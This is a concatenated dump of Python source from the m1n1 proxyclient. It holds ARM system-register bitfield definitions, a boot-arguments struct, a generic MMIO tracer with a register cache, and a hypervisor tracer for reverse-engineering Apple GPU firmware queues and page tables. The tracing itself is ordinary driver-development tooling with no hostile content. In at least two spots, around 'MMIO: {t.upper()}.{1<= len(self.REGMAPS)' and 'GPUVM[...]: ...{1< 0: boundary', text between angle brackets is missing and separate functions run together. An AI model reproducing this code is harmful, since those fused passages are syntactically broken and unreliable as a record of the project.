TCO = 25 DIT = 24 UAO = 23 PAN = 22 SS = 21 IL = 20 SSBS = 12 BTYPE = 11, 10 D = 9 A = 8 I = 7 F = 6 M = 4, 0, SPSR_M class ACTLR(Register64): EnMDSB = 12 EnPRSV = 6 EnAFP = 5 EnAPFLG = 4 DisHWP = 3 EnTSO = 1 class HCR(Register64): TWEDEL = 63, 60 TWEDEn = 59 TID5 = 58 DCT = 57 ATA = 56 TTLBOS = 55 TTLBIS = 54 EnSCXT = 53 TOCU = 52 AMVOFFEN = 51 TICAB = 50 TID4 = 49 FIEN = 47 FWB = 46 NV2 = 45 AT = 44 NV1 = 43 NV = 42 API = 41 APK = 40 MIOCNCE = 38 TEA = 37 TERR = 36 TLOR = 35 E2H = 34 ID = 33 CD = 32 RW = 31 TRVM = 30 HCD = 29 TDZ = 28 TGE = 27 TVM = 26 TTLB = 25 TPU = 24 TPCP = 23 TPC = 23 TSW = 22 TACR = 21 TIDCP = 20 TSC = 19 TID3 = 18 TID2 = 17 TID1 = 16 TID0 = 15 TWE = 14 TWI = 13 DC = 12 BSU = 11, 10 FB = 9 VSE = 8 VI = 7 VF = 6 AMO = 5 IMO = 4 FMO = 3 PTW = 2 SWIO = 1 VM = 0 class HACR(Register64): TRAP_CPU_EXT = 0 TRAP_AIDR = 4 TRAP_AMX = 10 TRAP_SPRR = 11 TRAP_GXF = 13 TRAP_CTRR = 14 TRAP_IPI = 16 TRAP_s3_4_c15_c5z6_x = 18 TRAP_s3_4_c15_c0z12_5 = 19 GIC_CNTV = 20 TRAP_s3_4_c15_c10_4 = 25 TRAP_SERROR_INFO = 48 TRAP_EHID = 49 TRAP_HID = 50 TRAP_s3_0_c15_c12_1z2 = 51 TRAP_ACC = 52 TRAP_PM = 57 TRAP_UPM = 58 TRAP_s3_1z7_c15_cx_3 = 59 class AMX_CONFIG(Register64): EN = 63 EN_EL1 = 62 class MDCR(Register64): TDE = 8 TDA = 9 TDOSA = 10 TDRA = 11 class MDSCR(Register64): SS = 0 MDE = 15 class DBGBCR(Register32): BT = 23, 20 LBN = 16, 16 SSC = 15, 14 HMC = 13 BAS = 8,5 PMC = 2,1 E = 0 class DBGWCR_LSC(IntFlag): L = 1 S = 2 class DBGWCR(Register32): SSCE = 29 MASK = 28, 24 WT = 20 LBN = 19, 16 SSC = 15, 14 HMC = 13 BAS = 12, 5 LSC = 4, 3 PAC = 2, 1 E = 0 # TCR_EL1 class TCR(Register64): DS = 59 TCMA1 = 58 TCMA0 = 57 E0PD1 = 56 E0PD0 = 55 NFD1 = 54 NFD0 = 53 TBID1 = 52 TBID0 = 51 HWU162 = 50 HWU161 = 49 HWU160 = 48 HWU159 = 47 HWU062 = 46 HWU061 = 45 HWU060 = 44 HWU059 = 43 HPD1 = 42 HPD0 = 41 HD = 40 HA = 39 TBI1 = 38 TBI0 = 37 AS = 36 IPS = 34, 32 TG1 = 31, 30 SH1 = 29, 28 ORGN1 = 27, 26 IRGN1 = 25, 24 EPD1 = 23 A1 = 22 T1SZ = 21, 16 TG0 = 15, 14 SH0 = 13, 12 ORGN0 = 11, 10 IRGN0 = 9, 8 EPD0 = 7 T0SZ = 5, 0 class TLBI_RVA(Register64): ASID = 63, 48 TG = 47, 46 SCALE = 45, 44 NUM = 43, 39 TTL = 38, 37 BaseADDR = 36, 0 __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__ == __name__) m1n1-1.4.11/proxyclient/m1n1/tgtypes.py000066400000000000000000000016501453754430200175700ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * __all__ = ["BootArgs"] BootArgs = Struct( "revision" / Hex(Int16ul), "version" / Hex(Int16ul), Padding(4), "virt_base" / Hex(Int64ul), "phys_base" / Hex(Int64ul), "mem_size" / Hex(Int64ul), "top_of_kernel_data" / Hex(Int64ul), "video" / Struct( "base" / Hex(Int64ul), "display" / Hex(Int64ul), "stride" / Hex(Int64ul), "width" / Hex(Int64ul), "height" / Hex(Int64ul), "depth" / Hex(Int64ul), ), "machine_type" / Hex(Int32ul), Padding(4), "devtree" / Hex(Int64ul), "devtree_size" / Hex(Int32ul), "cmdline" / PaddedString(608, "ascii"), Padding(4), "boot_flags" / Hex(Int64ul), "mem_size_actual" / Hex(Int64ul), ) m1n1-1.4.11/proxyclient/m1n1/trace/000077500000000000000000000000001453754430200166135ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/trace/__init__.py000066400000000000000000000164211453754430200207300ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from ..hv import TraceMode from ..utils import * __all__ = [] class RegCacheAlwaysCached(Reloadable): def __init__(self, parent): self.parent = parent def read(self, addr, width): return self.parent.read_cached(addr, width) def write(self, addr, data, width): raise Exception("Trying to write a register to the cache") class RegCache(Reloadable): def __init__(self, hv): self.hv = hv self.u = hv.u self.cache = {} self.cached = RegCacheAlwaysCached(self) def update(self, addr, data): self.cache[addr] = data def read(self, addr, width): if self.hv.ctx or not self.hv.started: data = self.u.read(addr, width) self.cache[addr] = data return data else: return self.read_cached(addr, width) def read_cached(self, addr, width): data = self.cache.get(addr, None) if data is None: print(f"RegCache: no cache for {addr:#x}") return data def write(self, addr, data, width): if self.hv.ctx: self.u.write(addr, data, width) self.cache[addr] = data else: raise Exception("Cannot write register in asynchronous context") class TracerState: pass class Tracer(Reloadable): DEFAULT_MODE = TraceMode.ASYNC def __init__(self, hv, verbose=False, ident=None): self.hv = hv self.ident = ident or type(self).__name__ self.regmaps = {} self.verbose = verbose self.state = TracerState() self.init_state() self._cache = RegCache(hv) cache = hv.tracer_caches.get(self.ident, None) if cache is not None: self._cache.cache.update(cache.get("regcache", {})) self.state.__dict__.update(cache.get("state", {})) hv.tracer_caches[self.ident] = { "regcache": self._cache.cache, "state": self.state.__dict__ } def init_state(self): pass def hook_w(self, addr, val, width, **kwargs): self.hv.u.write(addr, val, width) def hook_r(self, addr, width, **kwargs): return self.hv.u.read(addr, width) def evt_rw(self, evt, regmap=None, prefix=None): self._cache.update(evt.addr, evt.data) reg = rcls = None value = evt.data t = "w" if evt.flags.WRITE else "r" if regmap is not None: reg, index, rcls = regmap.lookup_addr(evt.addr) if rcls is not None: value = rcls(evt.data) if self.verbose >= 3 or (reg is None and self.verbose >= 1): if reg is None: s = f"{evt.addr:#x} = {value:#x}" else: s = f"{regmap.get_name(evt.addr)} = {value!s}" m = "+" if evt.flags.MULTI else " " self.log(f"MMIO: {t.upper()}.{1<= len(self.REGMAPS) or (regmap := self.REGMAPS[i]) is None: continue if isinstance(regmap, tuple): regmap, regmap_offset = regmap else: regmap_offset = 0 prefix = name = None if i < len(self.NAMES): name = self.NAMES[i] if i < len(self.PREFIXES): prefix = self.PREFIXES[i] start, size = self.dev.get_reg(i) self.trace_regmap(start, size, regmap, name=name, prefix=prefix, regmap_offset=regmap_offset) __all__.extend(k for k, v in globals().items() if (callable(v) or isinstance(v, type)) and v.__module__.startswith(__name__)) m1n1-1.4.11/proxyclient/m1n1/trace/agx.py000066400000000000000000001445021453754430200177520ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import textwrap, os.path, json, datetime, ctypes from .asc import * from ..hw.uat import UAT, MemoryAttr, PTE, Page_PTE, TTBR from ..hw.agx import * from ..fw.agx.initdata import InitData from ..fw.agx.channels import * from ..fw.agx.cmdqueue import * from ..fw.agx.microsequence import * from ..fw.agx.handoff import * from m1n1.proxyutils import RegMonitor from m1n1.constructutils import * from m1n1.trace import Tracer from construct import * class ChannelTraceState(object): pass class CommandQueueState(object): pass class GpuMsg(Register64): TYPE = 55, 48 class PongMsg(GpuMsg): TYPE = 59, 52 UNK = 47, 0 class PongEp(EP): # This endpoint receives pongs. The cpu code reads some status registers after receiving one # Might be a "work done" message. BASE_MESSAGE = GpuMsg @msg(0x42, DIR.RX, PongMsg) def pong_rx(self, msg): if self.tracer.state.active: self.log(f" Pong {msg!s}") if msg.UNK != 0: self.log(f" Pong had unexpected value{msg.UNK:x}") self.hv.run_shell() self.tracer.pong() return True @msg(0x81, DIR.TX, PongMsg) def init_ep(self, msg): self.log(f" Init {msg.UNK:x}") self.tracer.pong_init(msg.UNK) return True class KickMsg(GpuMsg): TYPE = 59, 52 KICK = 7, 0 # Seen: 17, 16 (common), 9, 8, 1 (common), 0 (common) class KickEp(EP): BASE_MESSAGE = GpuMsg @msg(0x83, DIR.TX, KickMsg) def kick(self, msg): if self.tracer.state.active: self.log(f" Kick {msg}") self.tracer.kick(msg.KICK) return True @msg(0x84, DIR.TX, KickMsg) def fwkick(self, msg): if self.tracer.state.active: self.log(f" FWRing Kick {msg}") self.tracer.fwkick(msg.KICK) return True class ChannelTracer(Reloadable): STATE_FIELDS = ChannelStateFields WPTR = 0x20 RPTR = 0x00 def __init__(self, tracer, info, index): self.tracer = tracer self.uat = tracer.uat self.hv = tracer.hv self.u = self.hv.u self.ring_count = len(channelRings[index]) self.verbose = False if index not in tracer.state.channels: self.state = ChannelTraceState() self.state.active = True self.state.tail = [0] * self.ring_count tracer.state.channels[index] = self.state else: self.state = tracer.state.channels[index] self.index = index self.name = channelNames[index] self.info = info base = None if self.name == "FWLog": base = self.tracer.state.fwlog_ring2 self.channel = Channel(self.u, self.uat, self.info, channelRings[index], base=base, state_fields=self.STATE_FIELDS) for i in range(self.ring_count): for addr, size in self.channel.rb_maps[i]: self.log(f"rb_map[{i}] {addr:#x} ({size:#x})") self.set_active(self.state.active) def state_read(self, evt, regmap=None, prefix=None, off=None): ring = off // 0x30 off = off % 0x30 msgcls, size, count = self.channel.ring_defs[ring] if off == self.WPTR: if self.verbose: self.log(f"RD [{evt.addr:#x}] WPTR[{ring}] = {evt.data:#x}") self.poll_ring(ring, evt.data) elif off == self.RPTR: if self.verbose: self.log(f"RD [{evt.addr:#x}] RPTR[{ring}] = {evt.data:#x}") self.poll_ring(ring) else: if self.verbose: self.log(f"RD [{evt.addr:#x}] UNK[{ring}] {off:#x} = {evt.data:#x}") def state_write(self, evt, regmap=None, prefix=None, off=None): ring = off // 0x30 off = off % 0x30 msgcls, size, count = self.channel.ring_defs[ring] if off == self.WPTR: if self.verbose: self.log(f"WR [{evt.addr:#x}] WPTR[{ring}] = {evt.data:#x}") self.poll_ring(ring, evt.data) elif off == self.RPTR: if self.verbose: self.log(f"WR [{evt.addr:#x}] RPTR[{ring}] = {evt.data:#x}") self.poll_ring(ring) # Clear message with test pattern idx = (evt.data - 1) % count self.channel.clear_message(ring, idx) else: if self.verbose: self.log(f"WR [{evt.addr:#x}] UNK[{ring}] {off:#x} = {evt.data:#x}") def log(self, msg): self.tracer.log(f"[{self.index}:{self.name}] {msg}") def poll(self): for i in range(self.ring_count): self.poll_ring(i) def poll_ring(self, ring, tail=None): msgcls, size, count = self.channel.ring_defs[ring] cur = self.state.tail[ring] if tail is None: tail = self.channel.state[ring].WRITE_PTR.val if tail >= count: raise Exception(f"Message index {tail:#x} >= {count:#x}") if cur != tail: #self.log(f"{cur:#x} -> {tail:#x}") while cur != tail: msg = self.channel.get_message(ring, cur, self.tracer.meta_gpuvm) self.log(f"Message @{ring}.{cur}:\n{msg!s}") self.tracer.handle_ringmsg(msg) #if self.index < 12: #self.hv.run_shell() cur = (cur + 1) % count self.state.tail[ring] = cur def set_active(self, active=True): if active: if not self.state.active: for ring in range(self.ring_count): self.state.tail[ring] = self.channel.state[ring].WRITE_PTR.val for base in range(0, 0x30 * self.ring_count, 0x30): p = self.uat.iotranslate(0, self.channel.state_addr + base + self.RPTR, 4)[0][0] self.hv.add_tracer(irange(p, 4), f"ChannelTracer/{self.name}", mode=TraceMode.SYNC, read=self.state_read, write=self.state_write, off=base + self.RPTR) p = self.uat.iotranslate(0, self.channel.state_addr + base + self.WPTR, 4)[0][0] self.hv.add_tracer(irange(p, 4), f"ChannelTracer/{self.name}", mode=TraceMode.SYNC, read=self.state_read, write=self.state_write, off=base + self.WPTR) else: self.hv.clear_tracers(f"ChannelTracer/{self.name}") self.state.active = active ChannelTracer = ChannelTracer._reloadcls() CommandQueueInfo = CommandQueueInfo._reloadcls() class FWCtlChannelTracer(ChannelTracer): STATE_FIELDS = FWControlStateFields WPTR = 0x10 RPTR = 0x00 class CommandQueueTracer(Reloadable): def __init__(self, tracer, info_addr, new_queue, queue_type): self.tracer = tracer self.uat = tracer.uat self.hv = tracer.hv self.u = self.hv.u self.verbose = False self.info_addr = info_addr self.dumpfile = None self.queue_type = queue_type if info_addr not in tracer.state.queues: self.state = CommandQueueState() self.state.rptr = None self.state.active = True tracer.state.queues[info_addr] = self.state else: self.state = tracer.state.queues[info_addr] if new_queue: self.state.rptr = 0 if tracer.cmd_dump_dir: qtype = ["TA", "3D", "CP"][queue_type] fname = f"{datetime.datetime.now().isoformat()}-{tracer.state.queue_seq:04d}-{qtype}.json" self.dumpfile = open(os.path.join(tracer.cmd_dump_dir, fname), "w") json.dump({ "compatible": tracer.dev_sgx.compatible, "chip_id": tracer.chip_id, "version": Ver._version, "type": qtype, }, self.dumpfile) self.dumpfile.write("\n") self.dumpfile.flush() tracer.state.queue_seq += 1 self.tracer.uat.invalidate_cache() self.update_info() def update_info(self): self.info = CommandQueueInfo.parse_stream(self.tracer.get_stream(0, self.info_addr)) def log(self, msg): self.tracer.log(f"[CQ@{self.info_addr:#x}] {msg}") @property def rb_size(self): return self.info.pointers.rb_size def json_default(self, val): print(repr(val)) return None def get_workitems(self, workmsg): self.tracer.uat.invalidate_cache() self.update_info() if self.state.rptr is None: self.state.rptr = int(self.info.pointers.gpu_doneptr) self.log(f"Initializing rptr to {self.info.gpu_rptr1:#x}") self.log(f"Got workmsg: wptr={workmsg.head:#x} rptr={self.state.rptr:#x}") self.log(f"Queue info: {self.info}") assert self.state.rptr < self.rb_size assert workmsg.head < self.rb_size stream = self.tracer.get_stream(0, self.info.rb_addr) count = 0 orig_rptr = rptr = self.state.rptr while rptr != workmsg.head: count += 1 stream.seek(self.info.rb_addr + rptr * 8, 0) pointer = Int64ul.parse_stream(stream) self.log(f"WI item @{rptr:#x}: {pointer:#x}") if pointer: stream.seek(pointer, 0) wi = CmdBufWork.parse_stream(stream) if self.dumpfile: json.dump(wi, self.dumpfile, default=self.json_default) self.dumpfile.write("\n") self.dumpfile.flush() yield wi rptr = (rptr + 1) % self.rb_size self.state.rptr = rptr self.log(f"Parsed {count} items from {orig_rptr:#x} to {workmsg.head:#x}") def set_active(self, active=True): if not active: self.state.rptr = None self.state.active = active CmdBufWork = CmdBufWork._reloadcls() CommandQueueTracer = CommandQueueTracer._reloadcls() InitData = InitData._reloadcls(True) ComputeLayout = ComputeLayout._reloadcls() class HandoffTracer(Tracer): DEFAULT_MODE = TraceMode.SYNC def __init__(self, hv, agx_tracer, base, verbose=False): super().__init__(hv, verbose=verbose) self.agx_tracer = agx_tracer self.base = base def start(self): self.trace_regmap(self.base, 0x4000, GFXHandoffStruct, name="regs") class SGXTracer(ADTDevTracer): DEFAULT_MODE = TraceMode.HOOK REGMAPS = [SGXRegs, SGXInfoRegs] NAMES = ["sgx", "sgx-id"] def __init__(self, hv, devpath, verbose=False): super().__init__(hv, devpath, verbose=verbose) self.hooks = {} def hook_r(self, addr, width, **kwargs): self.log(f"HOOK: {addr:#x}:{width}") if addr in self.hooks: val = self.hooks[addr] self.log(f" Returning: {val:#x}") else: xval = val = super().hook_r(addr, width, **kwargs) if isinstance(val, (list, tuple)): xval = list(map(hex, val)) else: xval = hex(val) self.log(f" Read: {xval}") return val def hook_w(self, addr, val, width, **kwargs): if isinstance(val, (list, tuple)): xval = list(map(hex, val)) else: xval = hex(val) self.log(f"HOOK: {addr:#x}:{width} = {xval}") super().hook_w(addr, val, width, **kwargs) class AGXTracer(ASCTracer): ENDPOINTS = { 0x20: PongEp, 0x21: KickEp } REGMAPS = [ASCRegs] NAMES = ["asc"] PAGESIZE = 0x4000 def __init__(self, hv, devpath, verbose=False): super().__init__(hv, devpath, verbose) self.channels = [] self.uat = UAT(hv.iface, hv.u, hv) self.mon = RegMonitor(hv.u, ascii=True, log=hv.log) self.chip_id = hv.u.adt["/chosen"].chip_id self.dev_sgx = hv.u.adt["/arm-io/sgx"] self.sgx = SGXRegs(hv.u, self.dev_sgx.get_reg(0)[0]) self.gpu_region = getattr(self.dev_sgx, "gpu-region-base") self.gpu_region_size = getattr(self.dev_sgx, "gpu-region-size") self.gfx_shared_region = getattr(self.dev_sgx, "gfx-shared-region-base") self.gfx_shared_region_size = getattr(self.dev_sgx, "gfx-shared-region-size") self.gfx_handoff = getattr(self.dev_sgx, "gfx-handoff-base") self.gfx_handoff_size = getattr(self.dev_sgx, "gfx-handoff-size") self.handoff_tracer = HandoffTracer(hv, self, self.gfx_handoff, verbose=2) self.ignorelist = [] self.last_msg = None # self.mon.add(self.gpu_region, self.gpu_region_size, "contexts") # self.mon.add(self.gfx_shared_region, self.gfx_shared_region_size, "gfx-shared") # self.mon.add(self.gfx_handoff, self.gfx_handoff_size, "gfx-handoff") self.trace_kernva = False self.trace_userva = False self.trace_kernmap = True self.trace_usermap = True self.pause_after_init = False self.shell_after_init = False self.after_init_hook = None self.encoder_id_filter = None self.exclude_context_id = None self.redump = False self.skip_asc_tracing = True self.cmd_dump_dir = None self.buffer_mgr_map = {} self.vmcnt = 0 self.readlog = {} self.writelog = {} self.cmdqueues = {} self.va_to_pa = {} self.last_ta = None self.last_3d = None self.last_cp = None self.agxdecode = None libagxdecode = os.getenv("AGXDECODE", None) if libagxdecode: self.init_agxdecode(libagxdecode) def init_agxdecode(self, path): # Hack to make sure we reload the lib when it changes # tpath = os.getenv("XDG_RUNTIME_DIR", "/tmp") + "/" + str(time.time()) + ".so" # os.symlink(path, tpath) # lib = ctypes.cdll.LoadLibrary(tpath) lib = ctypes.cdll.LoadLibrary(path) self.agxdecode = lib read_gpu_mem = ctypes.CFUNCTYPE(ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p) stream_write = ctypes.CFUNCTYPE(ctypes.c_ssize_t, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) class libagxdecode_config(ctypes.Structure): _fields_ = [ ("chip_id", ctypes.c_uint32), ("read_gpu_mem", read_gpu_mem), ("stream_write", stream_write), ] def _read_gpu_mem(addr, size, data): if addr < 0x100000000: addr |= 0x1100000000 buf = self.read_func(addr, size) ctypes.memmove(data, buf, len(buf)) return len(buf) def _stream_write(buf, size): self.log(buf[:size].decode("ascii")) return size # Keep refs self._read_gpu_mem = read_gpu_mem(_read_gpu_mem) self._stream_write = stream_write(_stream_write) config = libagxdecode_config(self.chip_id, self._read_gpu_mem, self._stream_write) self.agxdecode.libagxdecode_init(ctypes.pointer(config)) self.agxdecode.libagxdecode_vdm.argtypes = [ctypes.c_uint64, ctypes.c_char_p, ctypes.c_bool] self.agxdecode.libagxdecode_cdm.argtypes = [ctypes.c_uint64, ctypes.c_char_p, ctypes.c_bool] self.agxdecode.libagxdecode_usc.argtypes = [ctypes.c_uint64, ctypes.c_char_p, ctypes.c_bool] def get_cmdqueue(self, info_addr, new_queue, queue_type): if info_addr in self.cmdqueues and not new_queue: return self.cmdqueues[info_addr] cmdqueue = CommandQueueTracer(self, info_addr, new_queue, queue_type) self.cmdqueues[info_addr] = cmdqueue return cmdqueue def clear_ttbr_tracers(self): self.hv.clear_tracers(f"UATTTBRTracer") def add_ttbr_tracers(self): self.hv.add_tracer(irange(self.gpu_region, UAT.NUM_CONTEXTS * 16), f"UATTTBRTracer", mode=TraceMode.WSYNC, write=self.uat_write, iova=0, base=self.gpu_region, level=3) def clear_uatmap_tracers(self, ctx=None): if ctx is None: for i in range(UAT.NUM_CONTEXTS): self.clear_uatmap_tracers(i) else: self.hv.clear_tracers(f"UATMapTracer/{ctx}") def add_uatmap_tracers(self, ctx=None): self.log(f"add_uatmap_tracers({ctx})") if ctx is None: if self.trace_kernmap: self.add_uatmap_tracers(0) if self.trace_usermap: for i in range(1, UAT.NUM_CONTEXTS): self.add_uatmap_tracers(i) return if ctx != 0 and not self.trace_usermap: return if ctx == 0 and not self.trace_kernmap: return def trace_pt(start, end, idx, pte, level, sparse): if start >= 0xf8000000000 and (ctx != 0 or not self.trace_kernmap): return if start < 0xf8000000000 and not self.trace_usermap: return self.log(f"Add UATMapTracer/{ctx} {start:#x}") self.hv.add_tracer(irange(pte.offset(), 0x4000), f"UATMapTracer/{ctx}", mode=TraceMode.WSYNC, write=self.uat_write, iova=start, base=pte.offset(), level=2 - level, ctx=ctx) self.uat.foreach_table(ctx, trace_pt) def clear_gpuvm_tracers(self, ctx=None): if ctx is None: for i in range(UAT.NUM_CONTEXTS): self.clear_gpuvm_tracers(i) else: self.hv.clear_tracers(f"GPUVM/{ctx}") def add_gpuvm_tracers(self, ctx=None): self.log(f"add_gpuvm_tracers({ctx})") if ctx is None: self.add_gpuvm_tracers(0) if self.trace_userva: for i in range(1, UAT.NUM_CONTEXTS): self.add_gpuvm_tracers(i) return def trace_page(start, end, idx, pte, level, sparse): self.uat_page_mapped(start, pte, ctx) self.uat.foreach_page(ctx, trace_page) def uat_write(self, evt, level=3, base=0, iova=0, ctx=None): off = (evt.addr - base) // 8 sh = ["NS", "??", "OS", "IS"] a = f"{evt.flags.ATTR:02x}:{sh[evt.flags.SH]}" self.log(f"UAT <{a}> write L{level} at {ctx}:{iova:#x} (#{off:#x}) -> {evt.data}") if level == 3: ctx = off // 2 is_kernel = off & 1 if ctx != 0 and is_kernel: return if is_kernel: iova += 0xf8000000000 pte = TTBR(evt.data) if not pte.valid(): self.log(f"Context {ctx} invalidated") self.uat.invalidate_cache() self.clear_uatmap_tracers(ctx) self.clear_gpuvm_tracers(ctx) return self.log(f"Dumping UAT for context {ctx}") self.uat.invalidate_cache() _, pt = self.uat.get_pt(self.uat.gpu_region + ctx * 16, 2) pt[off & 1] = evt.data self.uat.dump(ctx, log=self.log) self.add_uatmap_tracers(ctx) self.add_gpuvm_tracers(ctx) else: is_kernel = iova >= 0xf8000000000 iova += off << (level * 11 + 14) if level == 0: pte = Page_PTE(evt.data) self.uat_page_mapped(iova, pte, ctx) return else: pte = PTE(evt.data) if not pte.valid(): try: paddr = self.va_to_pa[(ctx, level, iova)] except KeyError: return self.hv.del_tracer(irange(paddr, 0x4000), f"UATMapTracer/{ctx}") del self.va_to_pa[(ctx, level, iova)] return if ctx != 0 and not self.trace_usermap: return if ctx == 0 and not self.trace_kernmap: return self.va_to_pa[(ctx, level, iova)] = pte.offset() level -= 1 self.hv.add_tracer(irange(pte.offset(), 0x4000), f"UATMapTracer/{ctx}", mode=TraceMode.WSYNC, write=self.uat_write, iova=iova, base=pte.offset(), level=level, ctx=ctx) def uat_page_mapped(self, iova, pte, ctx=0): if iova >= 0xf8000000000 and ctx != 0: return if not pte.valid(): self.log(f"UAT unmap {ctx}:{iova:#x} ({pte})") try: paddr = self.va_to_pa[(ctx, iova)] except KeyError: return self.hv.del_tracer(irange(paddr, 0x4000), f"GPUVM/{ctx}") del self.va_to_pa[(ctx, iova)] return paddr = pte.offset() self.log(f"UAT map {ctx}:{iova:#x} -> {paddr:#x} ({pte})") if paddr < 0x800000000: return # MMIO, ignore if not self.trace_userva and ctx != 0 and iova < 0x80_00000000: return if not self.trace_kernva and ctx == 0: return self.va_to_pa[(ctx, iova)] = paddr self.hv.add_tracer(irange(paddr, 0x4000), f"GPUVM/{ctx}", mode=TraceMode.ASYNC, read=self.event_gpuvm, write=self.event_gpuvm, iova=iova, paddr=paddr, ctx=ctx) if ctx == 0: self.clear_stats_tracers() def event_gpuvm(self, evt, iova, paddr, name=None, base=None, ctx=None): off = evt.addr - paddr iova += off if evt.flags.WRITE: self.writelog[iova] = (self.vmcnt, evt) else: self.readlog[iova] = (self.vmcnt, evt) t = "W" if evt.flags.WRITE else "R" m = "+" if evt.flags.MULTI else " " sh = ["NS", "??", "OS", "IS"] a = f"{evt.flags.ATTR:02x}:{sh[evt.flags.SH]}" dinfo = "" if name is not None and base is not None: dinfo = f"[{name} + {iova - base:#x}]" logline = (f"[cpu{evt.flags.CPU}] GPUVM[{ctx}/{self.vmcnt:5}]: <{a}>{t}.{1< 0: boundary = (off + 0x4000) & ~0x3fff block = min(size, boundary - off) try: data += self.uat.ioread(context, off & 0x7fff_ffff_ffff_ffff, block) except Exception: break off += block size -= block return data self.read_func = read #chexdump(kread(wi0.addr, 0x600), print_fn=self.log) self.log(f" context_id = {context:#x}") self.dump_buffer_manager(wi0.buffer_mgr, kread, read) self.buffer_mgr_map[wi0.buffer_mgr_slot] = wi0.buffer_mgr_addr #self.log(f" unk_emptybuf @ {wi0.unk_emptybuf_addr:#x}:") #chexdump(kread(wi0.unk_emptybuf_addr, 0x1000), print_fn=self.log) #self.log(f" unkptr_48 @ {wi0.unkptr_48:#x}:") #chexdump(read(wi0.unkptr_48, 0x1000), print_fn=self.log) #self.log(f" unkptr_58 @ {wi0.unkptr_58:#x}:") #chexdump(read(wi0.unkptr_58, 0x4000), print_fn=self.log) #self.log(f" unkptr_60 @ {wi0.unkptr_60:#x}:") #chexdump(read(wi0.unkptr_60, 0x4000), print_fn=self.log) #self.log(f" unkptr_45c @ {wi0.unkptr_45c:#x}:") #chexdump(read(wi0.unkptr_45c, 0x1800), print_fn=self.log) for i in wi0.microsequence.value: i = i.cmd if i.__class__.__name__ == "StartTACmd": self.log(f" # StartTACmd") # self.log(f" unkptr_24 @ {i.unkptr_24:#x}:") # chexdump(read(i.unkptr_24, 0x100), print_fn=self.log) # self.log(f" unk_5c @ {i.unkptr_5c:#x}:") # chexdump(read(i.unkptr_5c, 0x100), print_fn=self.log) elif i.__class__.__name__ == "FinalizeTACmd": self.log(f" # FinalizeTACmd") self.log(f" buf_thing @ {wi0.buf_thing_addr:#x}: {wi0.buf_thing!s}") self.log(f" unkptr_18 @ {wi0.buf_thing.unkptr_18:#x}::") chexdump(read(wi0.buf_thing.unkptr_18, 0x80), print_fn=self.log) if getattr(wi0, "struct_2", None): data = read(wi0.struct_2.tvb_cluster_meta1, 0x100000) self.log(f" meta1 @ {wi0.struct_2.tvb_cluster_meta1:#x}:") chexdump(data, print_fn=self.log) blocks = wi0.struct_2.tvb_cluster_meta1 >> 50 tc = wi0.tiling_params.tile_count xt = (tc & 0xfff) + 1 yt = ((tc >> 12) & 0xfff) + 1 self.log(f" TILES {xt} {yt} {blocks}") self.log(f" meta2 @ {wi0.struct_2.tvb_cluster_meta2:#x}:") data = read(wi0.struct_2.tvb_cluster_meta2, 0x100000) chexdump(data, print_fn=self.log) self.log(f" meta3 @ {wi0.struct_2.tvb_cluster_meta3:#x}:") data = read(wi0.struct_2.tvb_cluster_meta3, 0x100000) chexdump(data, print_fn=self.log) self.log(f" meta4 @ {wi0.struct_2.tvb_cluster_meta4:#x}:") data = read(wi0.struct_2.tvb_cluster_meta4, 0x100000) chexdump(data, print_fn=self.log) data = read(wi0.struct_2.tvb_cluster_tilemaps, 0x400000) self.log(f" cluster_tilemaps @ {wi0.struct_2.tvb_cluster_tilemaps:#x}: ({len(data):#x})") chexdump(data, print_fn=self.log) data = read(wi0.struct_2.tvb_tilemap, 0x100000) self.log(f" tilemaps @ {wi0.struct_2.tvb_tilemap:#x}: ({len(data):#x})") chexdump(data, print_fn=self.log) if self.agxdecode: self.log("Decode VDM") self.agxdecode.libagxdecode_vdm(wi0.struct_2.encoder_addr, b"VDM", True) regs = getattr(wi0, "registers", None) if regs is not None: for reg in regs: if reg.number == 0x1c920: # meta1 self.log(f" meta1 @ {reg.data:#x}:") data = read(reg.data, 0x41000) chexdump(data, print_fn=self.log) elif reg.number == 0x1c041: # clustering tilemaps self.log(f" cl_tilemaps @ {reg.data:#x}:") data = read(reg.data, 0x100000) chexdump(data, print_fn=self.log) elif reg.number == 0x1c039: # tilemaps self.log(f" tilemap @ {reg.data:#x}:") data = read(reg.data, 0x100000) chexdump(data, print_fn=self.log) def handle_3d(self, wi): self.log(f"Got 3D WI{wi.cmdid:d}") if wi.cmdid != 1: return self.last_3d = wi def kread(off, size): return self.uat.ioread(0, off, size) if wi.cmd.magic == 4: wi4 = wi.cmd #self.log(f" completion_buf @ {wi4.completion_buf_addr:#x}: {wi4.completion_buf!s} ") #chexdump(kread(wi4.completion_buf_addr, 0x1000), print_fn=self.log) elif wi.cmd.magic == 1: wi1 = wi.cmd context = wi1.context_id def read(off, size): return self.uat.ioread(context, off, size) self.log(f" context_id = {context:#x}") cmd3d = wi1.microsequence.value[0].cmd self.log(f" 3D:") #self.log(f" struct1 @ {cmd3d.struct1_addr:#x}: {cmd3d.struct1!s}") #self.log(f" struct2 @ {cmd3d.struct2_addr:#x}: {cmd3d.struct2!s}") #self.log(f" tvb_start_addr @ {cmd3d.struct2.tvb_start_addr:#x}:") #if cmd3d.struct2.tvb_start_addr: #chexdump(read(cmd3d.struct2.tvb_start_addr, 0x1000), print_fn=self.log) #self.log(f" tvb_tilemap_addr @ {cmd3d.struct2.tvb_tilemap_addr:#x}:") #if cmd3d.struct2.tvb_tilemap_addr: #chexdump(read(cmd3d.struct2.tvb_tilemap_addr, 0x1000), print_fn=self.log) #self.log(f" aux_fb_ptr @ {cmd3d.struct2.aux_fb_ptr:#x}:") #chexdump(read(cmd3d.struct2.aux_fb_ptr, 0x100), print_fn=self.log) #self.log(f" pipeline_base @ {cmd3d.struct2.pipeline_base:#x}:") #chexdump(read(cmd3d.struct2.pipeline_base, 0x100), print_fn=self.log) self.log(f" buf_thing @ {cmd3d.buf_thing_addr:#x}: {cmd3d.buf_thing!s}") self.log(f" unkptr_18 @ {cmd3d.buf_thing.unkptr_18:#x}:") chexdump(read(cmd3d.buf_thing.unkptr_18, 0x80), print_fn=self.log) #self.log(f" unk_24 @ {cmd3d.unkptr_24:#x}: {cmd3d.unk_24!s}") 